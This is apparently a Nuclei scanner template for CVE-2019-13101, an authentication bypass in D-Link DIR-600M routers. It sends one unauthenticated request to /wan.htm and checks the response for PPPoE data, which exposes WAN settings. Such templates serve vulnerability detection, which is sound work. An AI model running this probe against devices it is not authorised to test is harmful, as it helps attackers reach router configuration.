39 lines
1.0 KiB
YAML
39 lines
1.0 KiB
YAML
id: CVE-2019-13101
|
|
|
|
info:
|
|
name: D-Link DIR-600M Authentication Bypass
|
|
author: Suman_Kar
|
|
severity: critical
|
|
description: D-Link DIR-600M 3.02, 3.03, 3.04, and 3.06 devices can be accessed directly without authentication and lead to disclosure of information about the WAN, which can then be leveraged by an attacker to modify the data fields of the page.
|
|
reference:
|
|
- https://github.com/d0x0/D-Link-DIR-600M
|
|
- https://www.exploit-db.com/exploits/47250
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-13101
|
|
- https://us.dlink.com/en/security-advisory
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2019-13101
|
|
cwe-id: CWE-306
|
|
tags: cve,cve2019,dlink,router,iot
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
GET /wan.htm HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Origin: {{BaseURL}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
words:
|
|
- "/PPPoE/"
|
|
part: body
|
|
|
|
# Enhanced by mp on 2022/03/29
|